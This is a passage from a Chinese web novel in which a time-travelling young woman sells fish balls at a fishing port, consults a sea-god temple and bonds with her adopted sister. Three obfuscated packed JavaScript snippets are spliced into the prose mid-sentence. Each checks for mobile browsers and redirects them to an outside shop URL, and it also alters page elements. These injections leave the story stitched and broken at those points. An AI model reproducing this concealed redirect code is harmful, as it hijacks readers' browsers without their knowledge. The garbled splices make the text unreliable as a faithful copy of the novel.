话还没说完，就见那大娘托两人看下摊子，径直往海滩走去，江盈知一边翻着鱼丸，视线转过去瞧了一眼。 那大娘走到港湾处停泊的渔船去了，她回过头，接着翻烤，时不时吆喝一声。刚把一串递给带着娃走来的妇人，叮嘱了一句小心烫。 就听小梅结结巴巴喊：“姐，小满姐，你瞧，” 只见那大娘走回来，身后还跟了十来个穿着短打的汉子。 “说了不白吃，”大娘笑呵呵，“这不把人给你带回来了，别怕，都是驳船的汉子，给他们烤几串啊。” 江盈知瞅着一群五大三粗的汉子，心里很感念大娘的好意，可就算让她把这烤出花来，那也是吃不饱的。 索性她今日还带了一小桶没穿签子的鱼丸来，站起身说：“烤的就是当个闲食吃吃，瞧这些大哥都是做苦力活的，吃不饱。 倒是这个拿回去煮,搁些盐，胀开后连汤带水的，吃上个两碗就能饱。” 小梅也怕这些大汉，心里哆哆嗦嗦。却很机灵地把木桶盖子掀开，颤着手用勺舀满鱼丸拿过去给他们瞧。 这群汉子相互瞧瞧，他们对吃不咋上心，能下得了饭就成。 他们所在渔船上没有斩鱼羹（厨师），只能自己胡凑着弄些吃的，咸鱼干、蟹糊、虾酱。 干的活重，吃得差，听得大娘说新鲜吃食，便都来瞧瞧。 看着那雪白的鱼丸，短脸的汉子问，“啥做的？” “鱼肉做的。” 全部海鲜里，海岛人最爱吃鱼，有“一鱼入室百菜鲜”俗语。 江盈知回着，把手上一串烤好的鱼丸递过去，叫他们都各自尝一个，再决定买不买。 补了一句，“烤的渗油，要缩的，这才叫你们买自己煮去的。” 大娘忙搭腔，“我活了一大把岁数，吃的盐多，保准不唬人，这滋味老好了。” 虽说不知道吃的盐多跟唬不唬人有什么关系，不过这群汉子相互分分，手捏着这焦焦弹弹的鱼丸，有的直接一口塞进嘴里，烫的嘶了声，有的则咬开，汁水流到手上。 不管咋吃，都好吃得不成。 “比鮸（miǎn）鱼脑还好吃，”有个人喊了句。 这实在是很高的赞誉，按他们的话来讲，鮸鱼脑实在好吃，甚至用“情愿丢了廿亩稻，不愿丢了鮸鱼脑”来形容。 长脸汉子嘬了嘬手上的汁水，笑说：“跟吃猪头肉上那筋似的，有咬劲。” “那来些不？”小梅咽了咽口水，看了眼江盈知，大着胆子问。 长脸汉子问：“来啊，这一桶多少？” “我们点个卖的，”江盈知单手拎桶，“三个两文，你们自个儿拿去煮的，饶你们一个，四个两文钱。” “全鱼肉做的，半点刺也没，这个价钱不能低了。” 驳船的力工又比不上搬货的脚夫，一天从五更天干到入夜，也才五十文。 不过他们人多，大伙每人拿出几文钱来凑凑，用六十文买走了这满满一桶鱼丸，还带走了一罐蛏油。 这一群汉子只会剖鱼抹盐，放在船板上晒干吃，要他们正经煮点东西来，勉强能蒸些鱼干。 这会儿却围着小小船舱中的炉子，上面放了口大铁锅，水滚后就倒了鱼丸。 短脸汉子心急，他说“会不会都是腥气？” “急啥，还没沸呢，”有人骂他，“吃东西少说话。” 船舱里渐渐没人说话了，随着汤沸腾，蛏油散发出香气，在这狭小逼仄充满鱼腥气的地方弥漫开来。 从前这里只有满满腥气，哪闻得到这样香的味，有人下意识咽了咽口水，咕嘟一声。紧接着一群原本还呆坐着的人，赶紧抄饭碗盛汤舀鱼丸。 汤渗入干糙的米饭里，让难吃的米都变得有些顺口了，他们大口嚼着鱼丸，就着鱼丸吃下一大口饭。 人要是每日都吃咸味死重的东西，有一日吃到点好的，真的会不想说话，只想傻乐。 好像所有的烦心事都抛却了一样。 有人难得发出满足的喟叹，“他爹娘的，真是够味” “让我天天吃也成啊，我能去给那个死难缠的金三驳船去” “美得你，”管船的看了还剩一半的鱼丸，暗自道，等明日吃完再去买些来，咋能好吃成这样。 吃了这顿，让他们大半夜被叫起来驳船时，都没有那么怨声载道了。 而幸福不只只是他们，江盈知和小梅激动极了，八十文哎！可以买不少东西了。 绝口不提为了这点鱼丸忙了多久，累得胳膊都不是自己的，夜里躺在竹板床上一翻身就疼得厉害。 大娘也高兴极了，江盈知白送给她二十个鱼丸，让她回家煮去。 “明儿你还来这，我来得早，给你占着位，”大娘笑得见牙不见眼，她这人就好白占点便宜。可谁要是给了她点东西，她也愿意热心地忙前忙后。 “哎，多谢你了大姨，”江盈知嘴巴很甜，人又会来事，把大娘哄得忍痛给了她一小包虾皮，可把自己心疼的。 小梅只顾着笑。 烤鱼丸卖得很好，几乎打从这块地走过的，都会要上一串，站定吃完了又会急急忙忙问，“明儿还来不来？” 得到来的回答后，才又要了一串，慢慢咬着脸上带着笑走了。 卖到最后几串时，江盈知还送了两串给收商税的小吏，小吏脸上一瞬间出现了震惊。 “别人见我们穿着这身衣裳，都是绕着道走的，”小吏无奈笑笑，他们这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她说卖相不好的鱼丸，其实也只不过是裂了，或是碎了几个口子，并不是碎成渣的那种。 海红忙说不要，被小梅问：“姐，倒你这个桶里行不行？” “行，哎，不行，”海红急忙摆手，小梅已经倒进去了，江盈知揽着小梅肩膀笑，“姐你忙吧，我们走了。” 海红冲她们招手，心里久久难以平静。 两人拿着零碎东西，在渔港海滩前等了一阵，陈大发急急忙忙划着船过来，他满头的汗，“抓海蛇忘了时辰？” 小梅关切地问，“抓到了没？” “没呢，还在小潮水，海蛇都少上岸，又躲在礁石里头，怕被它咬，没敢抓，”陈大发累地喘气，坐在船中央用手扇了扇风。 江盈知递给他一个馒头，自己也啃了起来，真饿了，她两腮鼓鼓，含糊不清地说：“姑父，这样要被蛇咬的。” “你等夜里，打着火把，划了船到岸口那，用竹竿拴铁丝挂块咸肉，没有的话咸鱼也成，它们就吃鱼虾的。” “穿些厚布衣裳防咬，要另一个人用桨打蛇，你的船矮了些，”她终于把干巴的馒头嚼完了，才说：“保管一钓一个准。” 海蛇也是趋光性很强的生物，爱夜行，哪里有光往哪里走。 “不过要晚些再捕。” 陈大发听得正来劲，忙问为啥，江盈知说每年三五月是海蛇生小海蛇，成千上万条聚在一起形成蛇阵，攻击性极为强悍。 “我晓得了，不去，就在岸边守守，”陈大发也听得进去话，啃着馒头，想赚点钱真的不容易。 回去后天已经渐渐黑沉，随意糊弄了晚饭，点着油灯，江盈知和小梅坐在矮桌前，开始一个个数铜板。 小梅话语满是激动，“有一百一十三文！” 江盈知晃晃酸痛的胳膊，在这费劲巴拉才赚这么点钱，不过她嘴角翘起，劳动的回报。 海娃趴在一旁，歪着脑袋睡觉，她们俩在小声地谈这笔钱怎么用。 “买二十文的剥皮鱼”江盈知碎碎念着，“明早还得去买些猪板油来，还有盐，哦，猪鬃也要买，得看看有没有黄鱼胶。” 她已经受够没油的日子了。 小梅用手托着两腮，在昏暗的油灯下也目光熠熠，她想小满姐来了可真好啊。 身边是海娃打呼噜的声音，小小的。 两人说话也轻轻的，一点点商量着怎么置办东西来，哪儿的最便宜。 这个夜里，连山风也吹得那样轻，木门不再摇晃，月色皎洁。 7. 香煎鱼片 转日，些许微光时候，江盈知用竹片蘸墨鱼粉擦牙齿，嘴里充斥着一股微咸的味道。 小梅昨儿晚上试过了，虽然无法接受，不过她也跟着有样学样。 最后灌水咕噜噜吐了好多白沫子。 昨天海红给的馒头还有，蒸了后一人拿一个啃，又给王三娘一个。 王三娘掰了一半，又塞还给小梅，嚼着时说：“快些吃吧，免得你们到了那吃不下东西。” 要不是江盈知跟她解释了好久，剥皮鱼吃了没问题，她还真不会带两人去买。 西塘关家家户户都有渔船，可渔船出海也有长短。有的渔民去年八月出门，今年五月回来，在海上达十个月，这种叫“长船”，出海八个月的则为短船。 更多的是“春船”，正月出门，三月末回洋，只打春花鱼。 毕竟他们的渔船又不是乌沙船那种大海船，也少有大对船，基本都是些中对船，航行不了那么久。 不过除去这些，倒是也有天天出海打鱼的，尤其爱网剥皮鱼。一是在山地种了不少番薯的人家，网了拿来做肥，二是修船木匠，这会儿都不称木匠，叫大木。 王三娘说：“他家剥皮鱼多，人好说话，每天出洋新打的，愿意卖些。” 陈大木的家就在近海滩头边上，孤零零一座，海滩上有好几艘倒扣斜撑起来的木船有五六个汉子在用铁铲刮船底的贝螺。 “这是在修船？”江盈知问。 小梅小声说：“不是修船，那不一样，这叫燂（tán）船。” 在海岛上，小修叫燂船，大修为修船。燂船很频繁，每次小水头，不涨水时就要清理船底那些贝壳螺丝，硬扫帚扫完后，还得在船底板架起茅草去烧去烤。 这个活要在涨潮前做完，所以那些汉子都忙着铲东西。 倒是陈大木在一旁露天灶边熬鱼油，一锅熬得黏糊糊，腥臭得要命，见到她们几个人还惊了声，“三娘，带着两个小囡来做什么？” “找你买些剥皮鱼来，”王三娘憋了气，实在臭得慌，忍不住又问，“咋不换桐油，这鱼油熬出来掺石灰补船缝，又臭又不好使。” 陈大木一听来找买剥皮鱼，早上儿子刚捞了不少，忙放下锅铲，叫人看着灶。叹口气，“那不是没法子的事。” “你说这春汛期，桐油贵了多少，从一百文一桶翻到了三百文，石灰也贵了些，”陈大木擦擦自己熬到起泡的手，语气低沉，“这剥皮鱼熬的鱼油臭是臭了些，拌了石灰一道抹，再塞点麻丝，能管一段时日。” 那肯定不如桐油好用，隔三差五就得来补，饶是这样花的钱也少。 陈大木苦笑，“像是海龙那头，姆娘害了病，家里钱都填了药罐子，哪里掏的出补船的钱，不补又没法出海，只能我这头凑凑数了。” 他也自得，“我熬的鱼油黏稠，掺的石灰量多，虽说臭了些，却没裂过。” 江盈知听得感慨，生活虽不易，可这些人总是在好好过日子。 王三娘先是皱眉，而后也笑，“谁不知道你这个人好，给我侄女来二十文的。” “行，这你侄女啊，”陈大木心直嘴快，“跟你没半点像。” 王三娘笑骂，“她又不是我肚子里托生的，跟我半点不像那也是我侄女。” 陈大木嘿嘿乐，叫他媳妇出来，王三娘跟妇人聊上了，江盈知和小梅就在一旁选鱼，烂掉的不要。 她也跟陈大木搭上了话，想着小梅家门前那艘渔船，要是能修补一番，以她的臂力能划到海港，就不用天天麻烦陈大发了。 “修船，小对船是不？”陈大木挑着鱼往篮子里放，“我们这半年一小修，三年才一大修六月谢洋节后才接修船，那时春夏汛都完了。” “这会修也成，价钱要贵些。” 江盈知问了一嘴，得到半两银子起，她嘶了声，暂时歇了心思，还是先凑够去海神庙的银钱吧。 其实到了这里好些天，她已经隐约明白自己回不去了，却仍想着去瞧瞧。 回去的路上，江盈知想了想说：“阿姑，你跟我一道做鱼丸吧。” 她一个人做虽然能做完，却很费劲，要剁头、剥皮、片鱼、剁碎、搅打、挤鱼丸，得忙好一上午。 有个力气大的帮手，她能轻松很多。 “我实在忙不过来，给你半天十五文成不成？” “后面要是卖得好，再加点” 王三娘当即沉了脸，“帮点忙还要往别人兜里塞钱，你赚了多少？家去的盘缠攒够了？” 江盈知当即摇头，“做鱼丸是个费胳膊的苦活，干一日也就罢了，天天干，白出力气，哪能成。” 不止这样，她要是赚到更多的，还得给陈大发些银钱，没有白干活的理。 这是她跟小梅商量过的。 小梅却说：“伯娘你不干，还可以叫我强子哥来，他只是伤了腿，手还好使嘛。” 王三娘张不了口，没法拒绝，毕竟强子自打伤了腿后就不咋出门了，以前一出去有小孩叫他右拐子。 “让我想想。” 不过日头刚升起来时，那位叫强子的青年拄着根木拐杖，一瘸一拐地从海滩那走过来。 方脸黑目，瞧着面相倒是端正，同王三娘生得也并不像，要温和许多。 他一照面就喊，“阿妹。” 即使江盈知不是他亲妹，又同他没见过，强子也喊得亲近，却不轻浮。 年龄上强子比江盈知还要大一岁，所以她便喊，“强子哥。” 小梅端出一把家里唯一有靠背的凳子，给他坐，“强子哥你坐着吧。 ” 强子也不推让，他走多了脚疼，又笑笑，“别看我腿不好使，手上力气却大，阿妹你们两个有什么活只管跟我说就成。” 他还说：“海娃，你去找顺子玩去吧，他在滩涂上玩掷贝壳。” 这会儿滩涂上蛏子少了很多，强子剥着鱼皮说：“下回去海滩那里拾，还有不少沙蛏。” 说话间他利索地撕下鱼皮，问江盈知，“阿妹，这样成不成？” 江盈知看了眼，虽没她撕得好，却也算是撕得相当完整了，练练以后撕海蛇皮不愁了。 接下来她发现，除了片鱼不大成，剁馅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483427|142000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、搅打，甚至挤鱼丸强子上手都很快。 “在家不能走，就多练练手上功夫，”强子说话很和气，“要是比起织网来，你可能还比不过我。” 江盈知捞出锅里煮好的鱼丸，闻言也笑笑，“那可不一定。” 以前没钱的时候她早上帮厨，晚上在屋里开着灯到半夜，给人家补网。虽说后来没留住外婆，好些年没干了，但手感还在。 小梅插了一句进来，“我织网也不差，啊呀，好香。” 强子也探头看去，江盈知正把剥皮鱼雪白的肉片贴在锅上，它本就多油，加上蛏油与盐腌了一会儿，小火慢煎出的香便一点点往外涌。 在滋滋拉拉的响声里，翻过面时香气更浓，姜末又增了点香，煎得两面黄灿灿的，边缘带上了点焦红。 江盈知还把鱼肝给捣碎蒸熟，一点蒜末姜汁少盐，本来有酱油更好，拌一拌就成。 不过这时候的剥皮鱼胜在野生，拿过来还是鲜活的，怎么样折腾味道都不算差。 “快来尝尝，”江盈知招呼两人，这鱼虽然油少，可煎得实在漂亮。 她刚尝过一口，没有半点刺，表皮被热锅烘得发酥，咸香十足。里头的鱼肉差点味道，不过蘸一点鱼肝酱，口感从单一变得层次丰富起来。 反正可把小梅馋坏了，强子也夹了一块，吃得人忍不住眯起了眼。 更别提稍后过来的顺子和海娃，顺子说：“小满姐，你留我在这烧火，我给你干活，你施舍我一口吃的吧。” 强子笑骂他，海娃很认真地说：“那要磕头，才能给吃的。” 说着就要跪下去，被江盈知手疾眼快一把拉了起来，可把大家笑得够呛。 屋子外全是笑声。 有了强子帮忙，鱼丸到晌午边就全做完了。江盈知给他钱，强子别扭了一会儿才收下，要是再多他不肯要，看着铜板心里百味杂陈。 感觉自己也不是个废人。 他回去就把钱给了王三娘，王三娘收起来，她说：“留着给你治腿。” “要好好干，别觉得是妹子就糊弄。” 这边母子俩说着，那边江盈知难得睡了个午觉，这才很有精气神地出摊。 她一到渔港，昨儿的大娘就招招手，“快来，给你俩占着位置。” “你那个啥鱼丸是真好吃，昨儿我带回去，都抢着吃，卖我些呗，”大娘说，“四个两文？可不能占我便宜。” “哪好占大姨你的便宜，再送你五个，”江盈知说。 大娘立马眉开眼笑，爽快掏钱买了十五文的鱼丸。 刚到地就有开张生意，接下来就顺得多了，河泊所的小吏也过来捧场，他说：“吃着好，带回去给家里人尝尝。” 也买了二十文的鱼丸，不过那身衣服倒是把大娘吓得够呛。 剩下的零零散散也卖出了些，仍有剩余卖相不好的，就再便宜卖出去。 小梅不敢数，却偷偷地乐，数钱要放到晚上数才成。 这时天色尚早，江盈知手里的几十文钱也够她去一次海神庙的。 她想现在去一趟。 8. 深夜烤鱼 海神庙在西塘关的最东面，上去要登千步道，真有一千多格的台阶，路窄且陡。 小梅虽不知道江盈知去海神庙做什么，想必心中有所求，坚持要陪她一道走上去。 一千多格的台阶走得两人气喘吁吁，才看见红色庙顶。 “小满姐，你进去吧，我在外头等你，”小梅喘得厉害，一屁股坐在门口的草堆上，她可不舍得花五文钱。 江盈知看了眼这座海神庙，内心没有任何能回去的感觉，她便跟小梅说：“我问完就回。” 交了五文钱后，门口的庙童来引她入内，询问，“求医求子还是问事？” “这三者有哪里不同？”江盈知好奇，又看了眼雕花的梁柱，四方天井内的灯烛架，红烛青烟，有人在虔诚跪拜。 庙童说：“求医重者可行祈禳之术，言通祝于神明，病从而可愈也。” “求子便拜鱼神，鱼善产子。” “若要问事，一为测字求签，二为杯珓卜，”庙童说完，引江盈知过青石台阶下去，到香火庙台那，他笑，“进庙来，当给神明献香火。” 江盈知觉得神神叨叨的，只要了中上的三支香，付了十文钱真叫人肉疼。 上了香才能进海神庙内，江盈知见海神娘娘和几百年后长得一样，松了口气，庙童咳了声，急急道：“不要瞎瞧。” 而后领她到庙祝那测字求签，江盈知双手捧着竹筒稍微倾斜摇晃，竹签掉落，她拾起看了下，看不懂。 递给庙祝，庙祝看她一眼，声色平平，“此为中签，凡事尽在人为，多行好事方能成事。” 他讲了一堆，江盈知只听懂这一句，心中并未豁然开朗，只说：“那杯珓卜。” 这习俗应当从闽省传来，却又与之不同，这时候的珓非竹非木，而是青黑的大贻贝壳。 庙童给她盛上来一对贝珓杯，让她双手捧珓，默默祈祷，再往地上掷。 在这里，两片为仰则是阳卦，表示吉利;若是俯，这叫阴卦，代表凶险;一俯一仰为胜卦，如果连续三次都是胜卦，才是万事大吉。 而到了江盈知这里，却一点不同。 第一次，她掷完，一个贻贝壳翻到了庙祝脚边，是立着的。 第二次，庙里青石砖有缝，贝壳尖的那头扎在里面，庙祝脸色都变了，喃喃道：“上回那老头把这敲坏了，该补。” 第三次最为离奇，她掷的力气大，贝壳蹦进了地上的香火炉里，恰恰好好夹在两根蜡烛中间。 庙内一片死寂，原本还有诵经的声音，也戛然而止。 庙童偏头闭眼再微微摇头，庙祝咳了声，却说：“神明虽未点头，可也没表明不应。” “你所求过大，要你自身多行善事，结善缘，再来寻卜，或到那时便可成了。” 江盈知走出庙门时，抬头看着青蓝蓝的天，耳边回响着庙祝的话： “万般事皆有缘法。” “既来之，则安之。” 她暂时回不了家了。 她的眼前有现代海浦镇的高楼大厦，喧嚷热闹，浮华街景，也浮现出这时海浦镇的古朴老旧，风俗习惯，反复交织变换。 最终落定在这里。 江盈知算不上难过，只是空落落的，像是牙齿被蛀空风灌进来的些许麻木感，有种果然如此的尘埃落定。 “怎么了，小满姐，”小梅从地上爬起来，瞧她的神情，关切地问道。 江盈知笑笑，她即使难受，也并不会冲别人甩脸子，只是说：“我这会儿真回不去家了。” 她坐在台阶上，看着脚底一圈圈盘旋的石道，“我家在很远的地方，我一直没同你说，只说在海上。” “不管换几趟船，就算过了整片望洋，也找不到的。” “小梅，我要待在这里了。” 小梅听明白了，知晓每个人都有不想说的东西，便去拉她的手，很诚挚地说：“小满姐，你有家的呀，我巴不得你一直住着。” “你看，你还有家人，虽然以前是胡说的，可你留在这里都会变成真的嘛，”她笨拙地想要安慰，“我和海娃给你当亲人成不成？” 江盈知该如何形容此刻的心情呢，那种感觉应当是梅雨天，到处下着淅淅沥沥的小雨，阴蒙蒙的天，又偏偏逢上她这种不喜雨的人。 尤其还没带伞走在路上时，可有人从后面跑过来给她撑伞，个子矮却举得那样用力。 她笑了，眼睛那样亮，伸手拉小梅的手，“走吧，小梅。” 她又说：“妹妹，回家去吧。” 小梅捧着脸笑，一蹦一蹦地往前走，喊：“小满姐”，又喊“阿姐”，然后说：“回家去喽！” 今天有着海浦镇那么多日子里，上千万年风云变化中最好的天，好得无忧愁。 夜里两个人坐在门边吹风，说了好久，什么都聊，久到海娃起来上便桶，仍听到两人在说话。 他迷迷糊糊问，“阿姐，起来了，能吃饭了？” 两个人才停下来，等他走了又说起话来。 其实那么多天里，江盈知虽跟小梅住在一起，看似离得那么近，又挺要好，可两人从未交心。 小梅没有跟她谈家里晚娘、已经故去的爹娘，种种琐事。江盈知不会跟她提起现代，自己的家，来自哪里，为何去海神庙，从远处海上来，说话又跟海浦方言那样近似… 她们两个像是站在一扇窗户的前后，偏偏那扇窗户封了一层纸，白宣纸，朦朦胧胧的，光能透进来，人却不行。 而现在大抵那张宣纸融掉了，江盈知终于能放下点心防，说说自己的事情。 当小梅说：“阿姐，没到这里来前，你过什么样的日子？” “应当很好吧。” 江盈知有些沉默，山风吹乱了她的头发，她凝视着黑漆漆的夜色，而后扯出一个笑，“怎么会。” 她该如何向小梅讲述，生下来不到一周，父母闹离婚，两岁被判给母亲，母亲不想养她，送到了海浦镇靠打鱼为生的外公外婆手上。 两岁后才有人叫她小囡，外婆有一次说起，那个时候她以为喂就是她的名字。 三岁有了大名和小名，盈知是从盈虚知节气，出没定潮流里来的。外公希望她如同月亮一般，又希望她知道满足，外婆说盈是满的意思，小得盈满，即是圆满。 她的小名就成了小满。 江盈知就这样在海浦镇长大，四岁被外公带着出海，外公钓鱼，外婆抱着她。她躺在船上睡觉，七岁坐轮船一路南下，十岁体验过浮潜、海上摩托，十四岁环海 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“我爹也不疼我，对海娃都比对我好，”小梅挨着江盈知，话语并没有不满，苦笑，“不过我晚娘是个好人。” “我爹没了后，她没法出海，有人给她介绍了活计，请她去明府那当出窠娘（月嫂），她还想带我和海娃去。” 小梅当然没去，她也没带海娃，只是一个人去了，月月寄些银子、零嘴回来，这几月不知发生了何事，才没寄东西来。 人活在世上，各有各的不堪，两个人倒是对着彼此袒露了，她们的关系也骤然拉近。 江盈知突然说：“小梅，吃不吃烤鱼？” “这会儿？”小梅惊疑，现在都已近后半夜了。 “想吃，管它什么时候呢，”江盈知说干就干，开始给剥皮鱼去皮，划刀，抹盐，肚子里塞姜片，用竹棍穿过鱼嘴。 在昏暗的灯油下，她把两串鱼穿好，那头小梅嘴上惊奇，动作却很快，利索地升起炉子。 两个人坐在矮凳上，对着腾腾的火光烤起了鱼，火舌一舔一舔地卷过鱼肉，烤的焦滋滋的。 小梅哈哈笑，“我大伯娘要是晓得了，指定要说，你们两个傻蛋，馋得没边了。” “那别被她知道，”江盈知也笑，闻着烤鱼逐渐挥发出来的焦香，她不由感慨，“要是有壶小酒该多好。” 不管是什么酒，她都能喝上点，来点啤的也成啊。 她咂砸嘴，等以后她有了辣椒，迟早做顿青花椒烤鱼，先把鱼炸到酥再烤，放点配料，再来碗青梅酒，滋味绝了。 不过眼下只能吃点清淡中带点鲜的，她撕咬下一块鱼肉，小梅有些煞风景，“酒比粮食还贵呢。” “贵怕什么，我们迟早什么都会有的，”江盈知说。 小梅嚼着嘴里的烤鱼，她说话声显得有点轻，“会有的。” 在这个夜里，江盈知突然感觉到安定，对于回去，她没有那么执着了。 她看向火光中小梅稚嫩的脸，她想，是小梅，是妹妹，也会是家人啊。 而且她仍能见到海洋，这就足够了。 这些也足够她有勇气告别海岸线，重新在望海启航。 9. 一碗碎鱼杂 昨晚说了太久，刚迷迷糊糊睡下，五更天的时候陈大发在竹屋外头喊。 要赶早去买猪板油，这玩意紧俏，不早早去，压根买不着。 小梅趴在船上困得眯起眼，陈大发往后看了眼，“夜里没睡？” 江盈知打个哈欠，摇摇头。顺风行船急速，也没遇上河泊所拦船的，一路便很快停靠在渔港处。 冰鲜船上桅杆印有鱼行字样的旗子飘扬，从船上下来的人提着红色的灯笼，一篮篮小黄鱼往鱼行里抬，到处弥漫着腥味。 等陈大发将船绳反复缠绕好，三人才往里走，路上鱼行檐下一排红灯笼，有人吆喝，“新丰楼要十篮小鲜！” 小黄鱼也被称为小鲜，江盈知听了价，一条百文，直咂舌，谁吃得起。 这会儿城门也已经开了，车马来回进出，江盈知盯着看了好几眼，等小梅喊她才进去。 肉铺在小巷子里，胖屠夫光着膀子，在那剁肉，他媳妇问了声，“要买点啥？” “老陈啊，又给你家儿子来买猪筒骨了，照旧二十文是不是？”女人借着灯笼的微光瞧清楚了，说话也带了几分亲近。 陈大发点点自己带的铜钱，递过去，又指指后头，“再带我两个小辈来买点板油，还有没有？” “还有半块，”朱大富扔过来半块猪板油。 江盈知则指指地上筐里的猪肠，问道：“肠子卖不卖？” 陈大发赶紧说：“买它做什么，不好收拾。” “卖，给钱就卖，这一堆你要的话，给个十文钱，”女人抢白道。 她才不管人拿着做啥。 “再给我来点后腿肉，”江盈知侧过身用手指指，那块地方是无皮后腿，又叫门板肉，适合用来剁肉泥。 主要便宜，没板油那么贵，要是钱够，江盈知指定要买点五花肉。 杀了价，搭上点没用的猪鬃，一块猪皮，还买了一袋十五文的肉，江盈知将它一一堆在桶里。 小梅强打着精神，问了一嘴，“阿姐，你买这做啥？” 陈大发也说：“便宜是便宜，真不好收拾。” “拿来做点鱼肉肠，到时候你们吃了就知道了，”江盈知提着桶说。 还买了一袋番薯粉，一小瓶醋和酱油，江盈知坐在船上都生怕它们倒了，牢牢抵着，难得能把调料置办齐全些。 回去后，小梅跟她嘀咕，“阿姐，先前还觉得赚的钱多，加起来有两百文呢，这会儿却是不够了。” “怎么不够？”江盈知纳闷，买了猪油、酱、醋不还剩一些。 小梅叹气，“要买布啊，你没衣裳穿。买了布，叫伯娘给你做几身栲衫。” 栲衫不是一般的土布做的衣裳，是西塘关渔民常穿的防海水侵蚀的衣服，要用栲淘灶，熬煮薯莨根皮，那衣裳染出来泛黄或是褐色。 衣襟都是左衽的,防止渔网刮到，穿的裤子是宽宽大大的笼裤。 江盈知低头看看自己身上的衣裳，她觉得无所谓，有得穿就成。只有小梅还念叨，“还得买棕丝，编一双鞋，下海碰到带鱼都咬不穿。” “还得赚啊，”江盈知捏捏脖颈，终于熬好了香喷喷的猪油，她捏起猪油渣吃了一块，满嘴油气。洗着锅又说，“我还想把门前那艘船修一修，老这么叫人送也不是法子。” 她还夹了一块给小梅，小梅嚼着眯起了眼，让海娃爬起来也吃了一块，海娃说：“油，好多油，好香。” 小梅开始拎起破罐子往外倒草木灰，烟灰气让她咳了一声，“可是我们这没有女人摇船的啊。” “衙门出了令没有？”江盈知伸手接过她的罐子，准备用草木灰浆洗猪肠子，拿布塞住鼻子，再往盆里倒水。 小梅呕了一声，憋了气蹲下来，学着江盈知那样塞进木棍里，叠套在一起，慢慢翻出来。 她瓮声瓮气地说：“大伙都这样讲，小娘摇船要翻船。” “少听他们讲些没理的话，”江盈知才不搭理，左右也没有明令。 她俩在洗肠子时，王三娘担了两筐剥皮鱼来，后头跟着一瘸一拐的强子。 还没到，王三娘嚷道：“你们两个在那搅屎啊。” 小梅嘀咕，“玩还差不多。” 王三娘上来后叉着腰，“你说你们两个，能做做人家不，赚了几个铜板，就买这来，能当吃还是能当喝啊？” 江盈知撒上一堆草木灰搓着，她眨眨眼，被熏得慌，赶紧偏过头说：“处理好了是好吃的。” “一盆水都不够你糟蹋的，”王三娘没好气地说，这水多紧俏啊，不过也抓了把草木灰揉着，叫强子，“你剥鱼去。” 小梅冲王三娘笑，“大伯娘，我跟你说，阿姐她记起来，家中没了长辈，索性便留在这里。” “我叫她一声姐，是真把她当我亲姐，伯娘你又认了她做侄女，给出出主意，怎么把户籍给上了？” 她没户籍的事情，这些人全知道。 江盈知和王三娘同时一楞，江盈知手顿了顿，她是没想到小梅能说出这种话来。 王三娘却是先瞧了江盈知一眼，暗暗叹气，又瞪小梅，“你给我使好处了，还是我是里长，还能把户籍给上了？” 不过转口又说：“小满你先住着，等我晚些去探探口风。” 强子在一边剥着鱼皮笑，“要是把户籍落在这，小满真成亲戚了。” 江盈知听得心里发暖，大伙就这样轻易地接纳了她，免不得又有些担忧，“户籍好上不？” 她悄悄地问，“要不要使些银钱打点？” “没用的，被翻出来还是笔烂账，你先同大伙混个脸熟，这事急不得，”王三娘替她盘算，到时候多说说好话。 一时这个事也过去了，等洗完肠子，再把水给倒在后山边上，强子把鱼皮全剥完了。 江盈知在手上抹了点醋去腥，剁鱼糜的时候，王三娘挤过来问，“上回你说的用咸鱼钓海蛇，今夜可是个好时候。再过段日子等风暴来了，又涨水，那真是一条也捉不到了。” “借艘中对船去吧，高些，穿得严实点，”江盈知晓得她想给儿子治腿，一天也等不了。她剁完了鱼糜，又剁点猪肉，掺在一起增加油性。 她停了刀说：“海蛇多的地方，鱼也多，随意放点钩子都能钓上不少。” 王三娘难得面露喜色，“要是钓了春鱼，给你送来点。” 这下换江盈知也高兴了，这时候小黄鱼刚上市正贵，她可买不起，所以听到这话她忙说：“那感情好，给我不糟蹋，我给阿姑你们烧黄鱼面吃。” “你可省省吧，面比米还贵上十文，”王三娘啧了声，这玩意谁吃得起。 稻谷其他海岛上还有的种，麦子得到水乡那去运来，运船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483429|142000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一来一回，价跟着往上涨。 王三娘往回收拾桶，小梅把买鱼的钱数出来给她，她接过后说：“忙你们的去吧，我先回了，强子你好好做，晚些我把你弟叫来。” 强子应了声，手上动作不停。 小梅送王三娘下去，又说了点话，江盈知则把肉馅和鱼糜掺在一起，放些淀粉增加粘性，一点点姜水去腥，酱和盐得放。 她顺着边缓慢搅打，陷在鱼泥里的手拿出来，粘在手上的鱼泥往下垂不掉就行。 小梅把泡在水里的肠衣拿过来，问道：“阿姐，这怎么弄？” 江盈知自有法子，在肠子上套一短节洗干净煮沸的毛竹，把鱼肉用一把筷子捆扎好的头往里戳。 